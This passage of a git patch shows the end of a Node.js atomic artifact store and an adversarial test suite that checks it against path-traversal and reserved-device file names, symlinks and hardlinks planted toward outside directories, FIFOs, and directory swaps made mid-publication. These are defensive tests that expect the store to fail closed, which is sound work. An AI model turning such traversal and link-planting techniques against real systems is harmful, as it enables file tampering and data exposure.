? null + : parseMetaDocument(racedMeta.bytes, snapshot.artifact_class, snapshot.relative_path, 'meta'); + const identical = racedSnapshot !== null + && canonicalSnapshotText(racedSnapshot) === canonicalSnapshotText(snapshot); + if (!identical) { + // Different reference: undo our content link so no authoritative file + // is left without its matching sidecar. The unlink happens only when + // the platform proves the inode is ours. + await rollbackOwnLink(locations.contentTarget, tempStat); + failStore(classifyExistingConflict(racedSnapshot, snapshot), 'artifact_ref', + 'A different artifact already occupies this location.'); + } + // Identical reference: keep our just-linked content; together with the + // observed sidecar it completes exactly the publication the winner + // already recorded. + await assertChainUnchanged(captures); + return receiptFor(snapshot, { created: false, byteLength: snapshot.byte_length, + sha256: snapshot.sha256 }); + } + + await discardTemp(contentTemp); + await discardTemp(metaTemp); + await syncDirectoryOf(locations.contentTarget); + await syncDirectoryOf(locations.metaTarget); + await assertChainUnchanged(captures); + await provePublication(locations, tempStat); + return receiptFor(snapshot, { created: true, byteLength: ingested.received, + sha256: ingested.digest, tempStat }); + } finally { + await discardTemp(contentTemp); + await discardTemp(metaTemp); + } +} + +function receiptFor(snapshot, facts) { + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: facts.byteLength, + sha256: facts.sha256, + ref_digest: artifactRefDigestV1(snapshot, 'artifact_ref').digest, + created: facts.created, + }); +} + +// Re-prove a fresh publication: both public names must still resolve, without +// following links, to exactly the inodes we wrote. +async function provePublication(locations, contentTempStat) { + const contentHandle = await openStoredFile(locations.contentTarget); + if (contentHandle === null) { + failStore('artifact_torn_publication', 'content', 'The published content could not be re-opened.'); + } + try { + const stat = await contentHandle.stat(); + assertRegularUnsharedFile(stat, 'content'); + if (!sameIdentity(stat, contentTempStat)) { + failStore('artifact_parent_swapped', 'content', + 'The published artifact no longer resolves to the published inode.'); + } + } finally { + await contentHandle.close().catch(() => {}); + } + const metaHandle = await openStoredFile(locations.metaTarget); + if (metaHandle === null) { + failStore('artifact_torn_publication', 'meta', 'The published sidecar could not be re-opened.'); + } else { + await metaHandle.close().catch(() => {}); + } +} + +// ---- Public API ----------------------------------------------------------------- + +function withStoreChain(token, operation) { + const id = `${STRING(token.dev)}:${STRING(token.ino)}`; + const previous = STORE_CHAINS.get(id) ?? Promise.resolve(); + const current = previous.catch(() => {}).then(operation); + const settled = current.catch(() => {}).then(() => { + if (STORE_CHAINS.get(id) === settled) STORE_CHAINS.delete(id); + }); + STORE_CHAINS.set(id, settled); + return current; +} + +// One serialized, structurally audited operation. The root is reopened +// without following links, proven identical to the token, and bracketed +// around the whole body, so every operation observes a structurally sound +// store or fails closed before acting. +async function operate(token, fn) { + return withStoreChain(token, async () => { + const root = await reopenRoot(token); + try { + await structuralAudit(root.path); + return await fn(root); + } finally { + await root.handle.close().catch(() => {}); + } + }); +} + +function assertStoreHandle(store) { + assertPlainObject(store, 'invalid_type', 'store', 'The artifact store handle'); + if (store.schema !== ARTIFACT_STORE_SCHEMA_ID || typeof store.internalOperate !== 'function') { + failStore('invalid_type', 'store', 'The artifact store handle was not produced by this module.'); + } + return store; +} + +export async function openArtifactStoreV1(input) { + assertPlainObject(input, 'invalid_type', 'options', 'The artifact store options'); + assertDirectJsonClosure(input, 'options'); + const keys = sortedCapturedKeys(input); + if (keys.length !== 1 || keys[0] !== 'root') { + failStore('unknown_key', 'options', 'Artifact store options accept exactly one key: root.'); + } + const resolved = assertSafeRootPath(input.root); + const opened = await openRootHandle(resolved); + try { + await structuralAudit(opened.path); + const token = capturedFreeze({ path: opened.path, dev: opened.dev, ino: opened.ino }); + return capturedFreeze({ + schema: ARTIFACT_STORE_SCHEMA_ID, + root: token.path, + namespaces: ARTIFACT_STORE_NAMESPACES, + internalOperate: (fn) => operate(token, fn), + async publish(ref, source) { + return publishArtifactV1(this, ref, source); + }, + async verifyArtifact(ref) { + return verifyStoredArtifactV1(this, ref); + }, + async verifyArtifacts(refs) { + return verifyStoredArtifactsV1(this, refs); + }, + async audit() { + return auditArtifactStoreV1(this); + }, + }); + } finally { + await opened.handle.close().catch(() => {}); + } +} + +export async function publishArtifactV1(store, refInput, source) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + classifySource(source); + return handle.internalOperate((root) => publishPrepared(root, snapshot, source)); +} + +export async function verifyStoredArtifactV1(store, refInput) { + const handle = assertStoreHandle(store); + const snapshot = parseArtifactRefV1(refInput, 'artifact_ref'); + return handle.internalOperate(async (root) => { + await verifyLocation(root.path, snapshot); + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifact_ref: snapshot, + namespace: snapshot.artifact_class, + byte_length: snapshot.byte_length, + sha256: snapshot.sha256, + verified: true, + }); + }); +} + +export async function verifyStoredArtifactsV1(store, refInputs) { + const handle = assertStoreHandle(store); + const ordered = orderArtifactRefsV1(refInputs, 'artifact_refs'); + const verdicts = []; + for (let index = 0; index < ordered.length; index += 1) { + verdicts.push(await verifyStoredArtifactV1(handle, ordered[index])); + } + return freezeData(verdicts); +} + +export async function auditArtifactStoreV1(store) { + const handle = assertStoreHandle(store); + return handle.internalOperate(async (root) => { + const structural = await structuralAudit(root.path); + const detailed = []; + let auditedBytes = 0; + for (let index = 0; index < structural.entries.length; index += 1) { + const entry = structural.entries[index]; + const locations = namespaceLocations(root.path, entry.artifact_class, entry.relative_path); + const measured = await measurePublishedContent(locations.contentTarget, { + artifact_class: entry.artifact_class, + byte_length: entry.byte_length, + sha256: entry.sha256, + }); + auditedBytes += measured.received; + if (auditedBytes > MAX_ARTIFACT_STORE_AUDIT_BYTES) { + failStore('artifact_inventory_exceeded', 'audit', + `A single audit must not stream more than ${MAX_ARTIFACT_STORE_AUDIT_BYTES} bytes.`); + } + detailed.push(freezeData({ + artifact_class: entry.artifact_class, + relative_path: entry.relative_path, + byte_length: entry.byte_length, + sha256: entry.sha256, + })); + } + return freezeData({ + schema: ARTIFACT_STORE_SCHEMA_ID, + artifacts: detailed.length, + namespaces: freezeData({ + raw: freezeData({ ...structural.perNamespace.raw }), + sanitized: freezeData({ ...structural.perNamespace.sanitized }), + }), + entries: freezeData(detailed), + inventory_digest: inventoryDigestOf(structural.entries), + }); + }); +} + +capturedFreeze(openArtifactStoreV1); +capturedFreeze(publishArtifactV1); +capturedFreeze(verifyStoredArtifactV1); +capturedFreeze(verifyStoredArtifactsV1); +capturedFreeze(auditArtifactStoreV1); From 88c3bb703cc0c2a7716593f38e2724bcb4330fb4 Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 21:05:36 +0000 Subject: [PATCH 011/151] test(v3): pin the atomic artifact store against hostile callers Twenty-eight focused tests cover the publication contract end to end: frozen detached content-free receipts, buffer/stream equivalence, idempotent replay versus content and metadata conflicts, disjoint raw/sanitized namespaces, untrusted declared claims, class-cap enforcement before over-allocation, bounded ordered batch verification, deterministic concurrent identical and conflicting submissions, and restart-stable inventory fingerprints. The adversarial battery inherits P07 ref hostility (proxies with zero traps, accessors that never run, alias cycles, traversal, device names, separator look-alikes, NFC violations) and adds store-specific attacks: symlinked parents, targets, and sidecars that are never followed; exfil hardlinks; writer-less FIFOs opened without blocking; wholesale root swaps and mid-publication parent swaps interleaved through a hostile chunk source; crash debris including leftover temporaries, orphaned content, and orphaned sidecars; truncated, oversized, same-size-swapped, and malformed stored state; directory floods and depth overruns against bounded enumeration; and a content-freeness sweep proving no denial ever echoes the root, artifact bytes, or an errno. --- .../fixtures/r1-artifact-store-fixtures.mjs | 140 ++++ .../r1-artifact-store-adversarial.test.mjs | 673 ++++++++++++++++++ .../test/r1-artifact-store.test.mjs | 400 +++++++++++ 3 files changed, 1213 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-store.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs new file mode 100644 index 0000000..8a73553 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-store-fixtures.mjs @@ -0,0 +1,140 @@ +// Shared fixtures for the W4-P08 atomic artifact store tests. +// +// Pure data builders plus tiny local helpers over the caller's own temporary +// directories. The only product imports are the two accepted P07 modules, so +// fixtures cannot mask a store defect with store-owned code. + +import { mkdtempSync, rmSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-store-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +// A private fresh store root under the system temporary directory. +export function makeStoreRoot(prefix = 'cce-p08-store-') { + return mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function refFor(bytes, overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: bytes.length, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export const staticRef = (overrides = {}) => refFor(Buffer.from('fixture bytes'), overrides); + +// ---- Byte sources ---------------------------------------------------------- + +export function chunksOf(bytes, count = 3) { + const size = Math.max(1, Math.ceil(bytes.length / count)); + async function* generate() { + for (let offset = 0; offset < bytes.length; offset += size) { + yield bytes.subarray(offset, Math.min(offset + size, bytes.length)); + } + } + return generate(); +} + +export function emptyStream() { + async function* generate() {} + return generate(); +} + +export function stringChunkSource(text = 'text not bytes') { + async function* generate() { yield text; } + return generate(); +} + +// Yields only `keep` of the declared `total` bytes: a short stream. +export function shortSource(total, keep = 1) { + async function* generate() { + yield Buffer.alloc(Math.min(keep, total), 0x61); + } + return generate(); +} + +// An endless stream of one-byte chunks: only the class cap may stop it. +export function endlessSource(fill = 0x62) { + async function* generate() { + while (true) { + yield Buffer.alloc(1, fill); + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +// A stream that grows past any declared length but stays inside raw caps. +export function growingSource(target) { + async function* generate() { + let sent = 0; + while (sent < target + 4096) { + yield Buffer.alloc(64, 0x63); + sent += 64; + await new Promise((resolve) => setImmediate(resolve)); + } + } + return generate(); +} + +export function throwingSource(failure) { + async function* generate() { + yield Buffer.from('first chunk'); + throw failure; + } + return generate(); +} + +// Mid-publication sabotage: after the first chunk, run an arbitrary side +// effect against the filesystem, then keep streaming. This deterministically +// interleaves hostile tree mutation into the middle of a publication. +export function sabotagingSource(sideEffect) { + async function* generate() { + yield Buffer.from('first chunk'); + await sideEffect(); + yield Buffer.from('second chunk'); + } + return generate(); +} + +// Accessor-dressed async iterable: Symbol.asyncIterator is a getter whose +// trap records that it ran. Accepting this would execute caller code. +export function accessorIterable(trapLog) { + return { + get [Symbol.asyncIterator]() { + trapLog.iteratorGetter += 1; + throw new Error('accessor iterator getter must never run'); + }, + }; +} + +// A subclassed view: prototype is neither Uint8Array.prototype nor +// Buffer.prototype, so its length surface is not intrinsic. +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs new file mode 100644 index 0000000..dfc2be1 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-store-adversarial.test.mjs @@ -0,0 +1,673 @@ +import assert from 'node:assert/strict'; +import { constants as fsConstants } from 'node:fs'; +import { chmodSync, mkdtempSync, mkdirSync, readFileSync, renameSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { chmod, link, rm, symlink, unlink } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; + +import { + ARTIFACT_STORE_META_SUFFIX, + auditArtifactStoreV1, + MAX_ARTIFACT_STORE_AUDIT_FILES, + MAX_ARTIFACT_STORE_DIRECTORY_ENTRIES, + MAX_ARTIFACT_STORE_META_BYTES, + openArtifactStoreV1, + verifyStoredArtifactsV1, +} from '../mcp/v3/artifact-store.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + accessorIterable, + chunksOf, + digestOf, + emptyStream, + makeStoreRoot, + refFor, + removeRoot, + sabotagingSource, + shortSource, + stringChunkSource, + SubclassedBytes, + throwingSource, +} from './fixtures/r1-artifact-store-fixtures.mjs'; +import { countingProxy } from './fixtures/r1-artifact-fixtures.mjs'; + +const PAYLOAD = Buffer.from('adversarial payload with distinctive bytes\n'); +const BASE_REF = refFor(PAYLOAD); + +const isWindows = process.platform === 'win32'; + +async function expectCode(action, code) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + assert.equal(message.includes(bytes.toString('utf8').trim()), false, 'error echoed artifact bytes'); + } +} + +async function freshStore() { + const root = makeStoreRoot(); + const store = await openArtifactStoreV1({ root }); + return { root, store }; +} + +async function closeAndReopen(root) { + const reopened = await openArtifactStoreV1({ root }); + return reopened; +} + +test('proxy, accessor, and alias/cycle references fail closed before any filesystem effect', async () => { + const { root, store } = await freshStore(); + try { + // Live proxy with a trap counter: zero traps may fire. + const { proxy, counts } = countingProxy(BASE_REF); + const error = await expectCode(() => store.publish(proxy, PAYLOAD), 'proxy_denied'); + assertContentFree(error, root, PAYLOAD); + assert.equal(counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has, 0); + + // Accessor-dressed reference: the getter must never run. + const accessor = { ...BASE_REF }; + let getterRuns = 0; + Object.defineProperty(accessor, 'sha256', { + enumerable: true, + get() { getterRuns += 1; return digestOf(PAYLOAD); }, + }); + await expectCode(() => store.publish(accessor, PAYLOAD), 'accessor_property_denied'); + assert.equal(getterRuns, 0); + + // Aliased cyclic reference. + const cyclic = { ...BASE_REF }; + cyclic.self = cyclic; + await expectCode(() => store.publish(cyclic, PAYLOAD), 'aliased_reference_denied'); + + // Unknown key keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, extra: 'x' }, PAYLOAD), + 'unknown_key', + ); + // Malformed digest keeps its P07 denial. + await expectCode( + () => store.publish({ ...BASE_REF, sha256: digestOf(PAYLOAD).toUpperCase() }, PAYLOAD), + 'invalid_format', + ); + // The store is still pristine: no artifacts, no temporaries. + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('traversal, devices, separators, and Unicode hostility inherit exact P07 behavior', async () => { + const { root, store } = await freshStore(); + try { + const cases = [ + [{ relative_path: '../outside.patch' }, 'alias_segment_denied'], + [{ relative_path: 'a/../../b.patch' }, 'alias_segment_denied'], + [{ relative_path: '/absolute.patch' }, 'absolute_path_denied'], + [{ relative_path: 'runs\\run\\x.patch' }, 'invalid_separator'], + [{ relative_path: 'runs/run-x/con' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/CON.txt' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/nul.dat' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/aux' }, 'reserved_device_name_denied'], + [{ relative_path: 'runs/run-x/trail.' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/ lead.patch' }, 'edge_character_denied'], + [{ relative_path: 'runs/run-x/a:b.patch' }, 'colon_denied'], + [{ relative_path: 'runs/run-x/solid\u2044us.patch' }, 'separator_lookalike_denied'], + [{ relative_path: 'runs/run-x/invis\u200bx.patch' }, 'invisible_character_denied'], + [{ relative_path: 'runs/run-x/bell\u0007.patch' }, 'control_character_denied'], + [{ relative_path: 'runs/run-x/\u212an.patch' }, 'invalid_encoding'], + ]; + for (const [override, expected] of cases) { + await expectCode( + () => store.publish(refFor(PAYLOAD, override), PAYLOAD), + expected, + 'artifact_ref.relative_path', + ); + } + // Well-formed astral characters stay legal end-to-end. + const astral = Buffer.from('emoji artifact'); + const astralRef = refFor(astral, { + relative_path: `runs/${'r'.repeat(4)}-🎨/lane-日本語/artifact-𝔘.patch`, + }); + await store.publish(astralRef, astral); + assert.equal((await store.audit()).artifacts, 1); + assert.equal(await store.verifyArtifact(astralRef).then((v) => v.verified), true); + } finally { + removeRoot(root); + } +}); + +test('hostile sources are denied before any byte reaches disk', async () => { + const { root, store } = await freshStore(); + try { + // Proxy-wrapped buffer. + const { proxy } = countingProxy(PAYLOAD); + await expectCode(() => store.publish(BASE_REF, proxy), 'proxy_denied'); + // Subclassed view: not an intrinsic prototype. + await expectCode( + () => store.publish(BASE_REF, new SubclassedBytes(PAYLOAD.length)), + 'artifact_stream_invalid_source', + ); + // SharedArrayBuffer-backed view. + const shared = new Uint8Array(new SharedArrayBuffer(8)); + await expectCode(() => store.publish(BASE_REF, shared), 'artifact_stream_invalid_source'); + // Plain strings and numbers are not sources. + await expectCode(() => store.publish(BASE_REF, 'text'), 'artifact_stream_invalid_source'); + await expectCode(() => store.publish(BASE_REF, 42), 'artifact_stream_invalid_source'); + // Accessor-dressed iterable: its getter must never run. + const trapLog = { iteratorGetter: 0 }; + await expectCode( + () => store.publish(BASE_REF, accessorIterable(trapLog)), + 'artifact_stream_invalid_source', + ); + assert.equal(trapLog.iteratorGetter, 0); + // A class instance with a prototype chain (Node Readable) is refused. + class FakeStream { + async *[Symbol.asyncIterator]() { yield PAYLOAD; } + } + await expectCode(() => store.publish(BASE_REF, new FakeStream()), 'artifact_stream_invalid_source'); + // String chunks from a generator are refused mid-stream. + await expectCode( + () => store.publish(BASE_REF, stringChunkSource()), + 'artifact_stream_invalid_chunk', + ); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('short, long, and throwing streams fail typed without echoing the underlying cause', async () => { + const { root, store } = await freshStore(); + try { + const declared = refFor(Buffer.alloc(16, 0x61), { relative_path: 'runs/r/short.bin' }); + await expectCode(() => store.publish(declared, shortSource(16, 4)), 'artifact_length_mismatch'); + await expectCode(() => store.publish(declared, emptyStream()), 'artifact_length_mismatch'); + const growing = refFor(Buffer.alloc(64, 0x62), { relative_path: 'runs/r/long.bin' }); + await expectCode( + () => store.publish(growing, (async function* () { + yield Buffer.alloc(64, 0x62); + yield Buffer.alloc(2, 0x62); + })()), + 'artifact_length_mismatch', + ); + const underlying = new Error('secret internals about the host filesystem'); + const streamError = await expectCode( + () => store.publish(declared, throwingSource(underlying)), + 'artifact_stream_failed', + ); + assert.equal(streamError.message.includes('secret internals'), false); + assert.equal((await store.audit()).artifacts, 0); + } finally { + removeRoot(root); + } +}); + +test('symlinked parents, targets, and sidecars are never followed', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + // Seed one namespace so intermediate directories exist. + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-outside-'), { mode: 0o700 }); + try { + // Symlink at a parent component of a future publication. + const parentLink = path.join(root, 'sanitized', 'content', 'runs', 'link'); + await symlink(outside, parentLink, 'dir'); + // The structural sweep condemns the link before any publication walk + // could resolve through it; nothing is ever followed. + await expectCode( + () => store.publish(refFor(Buffer.from('x'), { relative_path: 'runs/link/x.bin' }), + Buffer.from('x')), + 'artifact_entry_unsafe', + ); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + await rm(parentLink); + + // Symlink planted exactly at the destination content name: first strip + // the authoritative artifact, then occupy its name with a link. + const target = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + rmSync(target); + const bait = Buffer.from('bait bytes never adopted'); + writeFileSync(path.join(outside, 'bait.bin'), bait); + await symlink(path.join(outside, 'bait.bin'), target); + await expectCode( + () => store.verifyArtifact(BASE_REF), + 'artifact_entry_unsafe', + ); + await expectCode( + () => store.publish(BASE_REF, PAYLOAD), + 'artifact_entry_unsafe', + ); + // The bait file must be untouched by every attempt above. + assert.equal(readFileSync(path.join(outside, 'bait.bin')).equals(bait), true); + await unlink(target); + + // Symlinked sidecar. + const metaTarget = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + writeFileSync(path.join(outside, 'fake.json'), '{"schema":"x"}'); + rmSync(metaTarget); + await symlink(path.join(outside, 'fake.json'), metaTarget); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await unlink(metaTarget); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('hardlinked stored artifacts are rejected wherever they can be proven', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const outside = mkdtempSync(path.join(tmpdir(), 'cce-p08-hard-'), { mode: 0o700 }); + try { + const contentPath = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + // Exfiltrate one more directory entry onto the same inode. + await link(contentPath, path.join(outside, 'alias.bin')); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => store.audit(), 'artifact_entry_unsafe'); + // Restoring single-link discipline restores verification. + await unlink(path.join(outside, 'alias.bin')); + assert.equal(await store.verifyArtifact(BASE_REF).then((v) => v.verified), true); + } finally { + rmSync(outside, { recursive: true, force: true }); + } + } finally { + removeRoot(root); + } +}); + +test('FIFOs and other non-regular entries are condemned without blocking or following', async () => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentDir = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha'); + rmSync(path.join(contentDir, 'diff.patch')); + const fifoPath = path.join(contentDir, 'diff.patch'); + const { execFileSync } = await import('node:child_process'); + execFileSync('mkfifo', [fifoPath]); + // Verification must not block on a writer-less FIFO (O_NONBLOCK opens). + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + // Publishing onto the FIFO location fails closed as well. + await expectCode(() => store.publish(BASE_REF, PAYLOAD), 'artifact_entry_unsafe'); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test('root swaps between operations are proven and rejected', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + // Replace the root directory wholesale (new device/inode at same path). + const moved = `${root}-moved`; + rmSync(moved, { recursive: true, force: true }); + const renamed = renameSync(root, moved); + mkdirSync(root, { mode: 0o700 }); + try { + await expectCode(() => store.publish(refFor(Buffer.from('y'), { relative_path: 'y.bin' }), + Buffer.from('y')), 'artifact_root_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_root_unsafe'); + } finally { + if (renamed) rmSync(moved, { recursive: true, force: true }); + } + } finally { + rmSync(`${root}-moved`, { recursive: true, force: true }); + rmSync(root, { recursive: true, force: true }); + } +}); + +test('parent swaps interleaved into a live publication are proven and rejected', async (t) => { + if (isWindows) return; + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const deepBytes = Buffer.from('parent swap victim payload'); + const deepRef = refFor(deepBytes, { + relative_path: 'runs/run-store-01/lane-alpha/deep/deeper/swap.patch', + }); + // After the first chunk arrives, replace a captured ancestor directory + // with a brand-new inode at the same path. Publication must fail typed + // and leave no authoritative artifact behind for that reference. + let outcome = null; + try { + await store.publish(deepRef, sabotagingSource(async () => { + const ancestor = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01'); + const staged = `${ancestor}-staged`; + renameSync(ancestor, staged); + mkdirSync(ancestor, { recursive: true, mode: 0o700 }); + rmSync(staged, { recursive: true, force: true }); + })); + } catch (error) { + outcome = error; + } + assert.ok(outcome instanceof RunContractV1Error, + `expected a typed failure, got ${String(outcome)}`); + assertContentFree(outcome, root, deepBytes); + try { + await store.verifyArtifact(deepRef); + assert.fail('expected a typed verification failure'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok( + error.code === 'artifact_not_found' || error.code === 'artifact_torn_publication', + `unexpected code ${error.code}`, + ); + } + // The hostile deletion orphaned previously authoritative sidecars too. + // Nothing heals silently: every later operation keeps failing closed + // until an operator acts outside this module. + await expectCode(() => store.verifyArtifact(BASE_REF)); + } finally { + removeRoot(root); + } +}); + +test('crash debris: torn temporaries, orphaned content, and orphaned sidecars stay rejected after restart', async () => { + const root = makeStoreRoot(); + try { + const seed = await openArtifactStoreV1({ root }); + await seed.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Leftover temporary in the content tree. + writeFileSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32)), 'torn temp'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_temporary'); + await expectCode(() => auditArtifactStoreV1(seed), 'artifact_torn_temporary'); + rmSync(path.join(path.dirname(contentLeaf), '.tmp-' + 'a'.repeat(32))); + + // Content without sidecar. + const orphanContent = path.join(path.dirname(contentLeaf), 'orphan.bin'); + writeFileSync(orphanContent, 'no sidecar'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanContent); + + // Sidecar without content. + const orphanMeta = path.join(path.dirname(metaLeaf), 'ghost.bin.json'); + writeFileSync(orphanMeta, '{}'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(orphanMeta); + + // Foreign names. + writeFileSync(path.join(path.dirname(contentLeaf), 'bad\x01name'), 'foreign'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), 'bad\x01name')); + writeFileSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_foreign_entry'); + rmSync(path.join(path.dirname(contentLeaf), `${'x'.repeat(129)}`)); + // A legal name without a sidecar is a torn publication. + writeFileSync(path.join(path.dirname(contentLeaf), 'legalname.bin'), 'x'); + await expectCode(() => closeAndReopen(root), 'artifact_torn_publication'); + rmSync(path.join(path.dirname(contentLeaf), 'legalname.bin')); + + // After removing every injected fault the store verifies again. + assert.equal(await auditArtifactStoreV1(seed).then((r) => r.artifacts), 1); + } finally { + removeRoot(root); + } +}); + +test('truncated, oversized, swapped, and malformed stored state fails verification and restart', async () => { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + await store.publish(BASE_REF, PAYLOAD); + const contentLeaf = path.join(root, 'sanitized', 'content', 'runs', 'run-store-01', + 'lane-alpha', 'diff.patch'); + const metaLeaf = path.join(root, 'sanitized', 'meta', 'runs', 'run-store-01', + 'lane-alpha', `diff.patch${ARTIFACT_STORE_META_SUFFIX}`); + + // Truncation. + writeFileSync(contentLeaf, PAYLOAD.subarray(0, 8)); + await expectCode(() => closeAndReopen(root), 'artifact_entry_unsafe'); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Same-size content swap under one path. + const swapped = Buffer.from(PAYLOAD.map((byte) => byte ^ 0x01)); + writeFileSync(contentLeaf, swapped); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_digest_mismatch'); + writeFileSync(contentLeaf, PAYLOAD); + + // Oversized content beyond the class cap. + writeFileSync(contentLeaf, Buffer.concat([PAYLOAD, Buffer.alloc(300 * 1024, 0x21)])); + await expectCode(() => store.verifyArtifact(BASE_REF), 'artifact_entry_unsafe'); + writeFileSync(contentLeaf, PAYLOAD); + + // Malformed sidecars: garbage, duplicate keys, extra keys, wrong location. + for (const broken of [ + 'not json at all', + '{"schema":"codex-co-engineer.artifact-store.v1","schema":"dup"}', + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + extra: true, + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-ref.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length, + sha256: digestOf(PAYLOAD), + }), + JSON.stringify({ + schema: 'codex-co-engineer.artifact-store.v1', + artifact_ref: BASE_REF, + byte_length: PAYLOAD.length + 1, + sha256: digestOf(PAYLOAD), + }), + ]) { + const original = readFileSync(metaLeaf, 'utf8'); + writeFileSync(metaLeaf, `${broken}\n`); + await expectCode(() => store.verifyArtifact(BASE_REF), undefined); + writeFileSync(metaLeaf, original); + } + + // 